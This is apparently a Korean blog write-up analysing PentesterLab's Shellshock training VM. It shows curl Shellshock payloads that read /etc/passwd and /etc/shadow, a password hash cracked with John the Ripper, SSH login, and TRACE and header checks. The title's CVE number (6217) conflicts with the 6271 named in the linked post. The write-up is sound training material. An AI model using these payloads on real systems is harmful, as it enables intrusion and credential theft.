홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 [PentesterLab] CVE-2014-6217/Shellshock 취약점분석 보고서취약점분석 요약PentesterLab의 Shellshock 훈련장은 쉘쇼크 취약점이 존재하여 시스템 침투가 가능한 상황이며, 별도의 뒷구멍(backdoor) 없이도 외부에서 SSH를 통해 정상적으로 접속할 수 있는 위험성이 있음. 시스템 장악 위험성 존재
추가공격에 도움을 줄 소지가 있는 취약점
취약점 상세 설명(1) 운영체제 명령 실행[탐지사항]
[취약점 경로]
[취약점 증빙 자료] root@kali:~# curl --user-agent "() { :;}; echo;/bin/cat /etc/passwd" http://192.168.206.128/cgi-bin/status root:x:0:0:root:/root:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/false tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh root@kali:~# [ ↑ curl에서 Agent 헤더 조작을 통해 웹서버의 운영체제 명령어를 실행한 화면 ] [취약점 조치방안]
[참고자료]
(2) SQL 인젝션- 탐지사항 없음 [참고자료]
(3) XPath 인젝션- 탐지사항 없음 [참고자료]
(4) 정보누출- 탐지사항 없음 [참고자료]
(5) 악성콘텐츠- 탐지사항 없음 [참고자료]
(6) 크로스 사이트 스크립트(XSS)- 탐지사항 없음 [참고자료]
(7) 약한 문자열 강도- 탐지사항 없음 [참고자료]
(8) 불충분한 인증 및 인가- 탐지사항 없음 [참고자료]
(9) 취약한 패스워드 복구- 탐지사항 없음 [참고자료]
(10) 불충분한 세션 관리- 탐지사항 없음 [참고자료]
(11) 크로스 사이트 리퀘스트 변조(CSRF)- 탐지사항 없음 [참고자료]
(12) 자동화 공격- 탐지사항 없음 [참고자료]
(13) 파일 업로드- 탐지사항 없음 [참고자료]
(14) 경로추적 및 파일 다운로드- 탐지사항 없음 [참고자료]
(15) 데이터 평문전송[참고자료] - 탐지사항 없음
(16) 쿠키 변조- 탐지사항 없음 [참고자료]
(17) URL/파라미터 변조- 탐지사항 없음 [참고자료]
(18) 디렉터리 인덱싱[탐지사항]
[취약점 경로]
[취약점 증빙 자료] [취약점 조치방안]
[참고자료]
(19) 관리자페이지 노출- 탐지사항 없음 [참고자료]
(20) 위치공개- 탐지사항 없음 [참고자료]
(21) 웹 서비스 메소드 설정 공격[탐지사항]
[취약점 경로]
[취약점 증빙 자료] root@kali:~# curl -v -X TRACE http://192.168.206.128 --header "Fake: this should not be reflected" * Rebuilt URL to: http://192.168.206.128/ * Trying 192.168.206.128... * Connected to 192.168.206.128 (192.168.206.128) port 80 (#0) > TRACE / HTTP/1.1 > Host: 192.168.206.128 > User-Agent: curl/7.49.1 > Accept: */* > Fake: this should not be reflected > < HTTP/1.1 200 OK < Date: Sat, 05 Nov 2016 11:45:07 GMT < Server: Apache/2.2.21 (Unix) DAV/2 < Transfer-Encoding: chunked < Content-Type: message/http < TRACE / HTTP/1.1 Host: 192.168.206.128 User-Agent: curl/7.49.1 Accept: */* Fake: this should not be reflected * Connection #0 to host 192.168.206.128 left intact root@kali:~# [ ↑ curl을 이용하여 TRACE 메소드 점검: 헤더가 내용에 출력됨 ] [취약점 조치방안]
[참고자료]
(22) 취약한 서버 설정[탐지사항]
[취약점 경로]
[취약점 증빙 자료] pentesterlab@vulnerable:~$ id uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab) pentesterlab@vulnerable:~$ ls -als /etc/shadow 4 -rw-rw---- 1 root staff 168 Nov 4 16:31 /etc/shadow pentesterlab@vulnerable:~$ [ ↑ root@kali:~# curl -A "() { :;}; echo;/bin/cat /etc/shadow" http://192.168.206.128/cgi-bin/status root:*:13525:0:99999:7::: lp:*:13510:0:99999:7::: nobody:*:13509:0:99999:7::: tc::13646:0:99999:7::: pentesterlab:$1$1zsr5GKP$ASvJ9V19e895LF7SPnJoJ0:17110:0:99999:7::: root@kali:~# curl -A "() { :;}; echo;/bin/cat /etc/shadow" http://192.168.206.128/cgi-bin/status > shadow % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 168 0 168 0 0 55118 0 --:--:-- --:--:-- --:--:-- 84000 root@kali:~# time john shadow Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5" Use the "--format=aix-smd5" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status tcuser (pentesterlab) 1g 0:00:36:41 DONE 3/3 (2016-11-06 23:19) 0.000454g/s 41046p/s 41046c/s 41046C/s tcudjj..tcuser Use the "--show" option to display all of the cracked passwords reliably Session completed real 36m43.514s user 36m26.140s sys 0m2.556s root@kali:~# ssh pentesterlab@192.168.206.128 The authenticity of host '192.168.206.128 (192.168.206.128)' can't be established. ECDSA key fingerprint is SHA256:USY3WfQ2ERR3l243cWG7DYTYH3VyyaoOeyYKGdFizOs. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.206.128' (ECDSA) to the list of known hosts. pentesterlab@192.168.206.128's password: ____ _ _ _ _ | _ \ ___ _ __ | |_ ___ ___| |_ ___ _ __| | __ _| |__ | |_) / _ \ '_ \| __/ _ \/ __| __/ _ \ '__| | / _` | '_ \ | __/ __/ | | | || __/\__ \ || __/ | | |__| (_| | |_) | |_| \___|_| |_|\__\___||___/\__\___|_| |_____\__,_|_.__/ Now that the ISO boot, you can run ifconfig to find what IP address you need to connect to, this address is the vulnerable web application you need to attack. You can use 'sudo -s' to get root access. pentesterlab@vulnerable:~$ [ ↑ /etc/shadow 파일 열람, 비밀번호 해독을 통해 ssh로 웹서버에 접속하는 과정 ]
John the Ripper로 i7 3635QM의 1개 쓰레드(thread)를 이용하여 약37분만에 6자짜리 비밀번호를 해독(역연산)할 수 있었다.
여기서는 훈련장의 SSH 포트(22/tcp)가 외부에 열려있는 것으로 가정하였다.
root@kali:~# curl -v http://192.168.206.128 * Rebuilt URL to: http://192.168.206.128/ * Trying 192.168.206.128... * Connected to 192.168.206.128 (192.168.206.128) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.206.128 > User-Agent: curl/7.49.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Sat, 05 Nov 2016 13:02:31 GMT < Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/1.0.0k DAV/2 < Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT < ETag: "feb-2c-3e9564c23b600" < Accept-Ranges: bytes < Content-Length: 44 < Content-Type: text/html < * Connection #0 to host 192.168.206.128 left intact root@kali:~# [ ↑ HTTP Server 헤더에서 노출되는 웹서버 환경 ] [취약점 조치방안]
[처음 작성한 날: 2016.11.06] [마지막으로 고친 날: 2016.11.07] < 이전 글 : [웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (2016.11.04) > 다음 글 : 무료 웹해킹 교육장 목록 (2016.11.03) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |